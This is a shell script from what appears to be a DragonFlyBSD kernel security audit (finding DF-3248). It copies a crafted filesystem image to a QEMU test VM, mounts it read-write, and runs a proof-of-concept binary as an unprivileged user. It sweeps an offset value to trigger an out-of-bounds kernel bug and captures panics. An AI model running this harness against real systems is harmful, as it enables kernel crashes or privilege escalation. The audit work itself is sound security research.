⬢ DragonFlyBSD Kernel Audit
DF-3248 / run.sh
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/bin/sh
# DF-3248 run: mount crafted image RW, trigger as uid 1001, observe markers.
# Sweeps K = 1..8 (one fresh mount per K) unless K is fixed via env.
cd "$(dirname "$0")"
CFG=../../../dfbsd-qemu/config
SSH="ssh -F $CFG -o ConnectTimeout=8 -o BatchMode=yes"
SCP="scp -F $CFG -o ConnectTimeout=8 -o BatchMode=yes"

cat > /tmp/df3248_setup.sh <<'SETUPEOF'
#!/bin/sh
umount /tmp/hpfsmp 2>/dev/null
vnconfig -u vn0 2>/dev/null
mkdir -p /tmp/hpfsmp && chown 1001:1001 /tmp/hpfsmp && chmod 755 /tmp/hpfsmp
vnconfig vn0 /tmp/df3248.img || exit 1
/root/mount_rw /dev/vn0 /tmp/hpfsmp || { vnconfig -u vn0; exit 1; }
cp /tmp/df3248_poc /tmp/df3248_run && chown 1001 /tmp/df3248_run && chmod 755 /tmp/df3248_run
echo MOUNT_RC=0
SETUPEOF

run_one() {
    K=$1
    MODE=${2:-oob}
    echo "=============== K=$K MODE=$MODE (HOP2=$((2048*(K-1)))) ==============="
    if [ "$MODE" = smoke ]; then
        python3 craft_img.py df3248.img 1 smoke || return
    else
        python3 craft_img.py df3248.img "$K" || return
    fi
    $SCP -q df3248.img dfbsd:/tmp/df3248.img || return
    $SCP -q /tmp/df3248_setup.sh dfbsd:/tmp/df3248_setup.sh || return
    $SSH dfbsd "sh /tmp/df3248_setup.sh" | tail -1
    echo "--- trigger as uid 1001 ---"
    timeout 60 $SSH dfbsd-maxx "id; /tmp/df3248_run /tmp/hpfsmp"
    RC=$?
    echo "RUN_EXIT=$RC"
    if [ $RC -eq 124 ]; then
        echo "--- trigger timed out: capturing console (panic?) ---"
        ../../../dfbsd-qemu/vm.sh log 80 || true
    fi
    timeout 30 $SSH dfbsd "dmesg | tail -3; umount /tmp/hpfsmp 2>/dev/null && echo UMOUNT_OK; vnconfig -u vn0 2>/dev/null" 2>/dev/null
    [ $RC -eq 0 ] && return 0
    return 1
}

if [ -n "$SMOKE" ]; then
    run_one 1 smoke
elif [ -n "$K" ]; then
    run_one "$K"
else
    for k in 2 3 4 5 6 7 8 9; do
        if run_one $k; then echo "Sweep stopped: hit at K=$k"; break; fi
    done
fi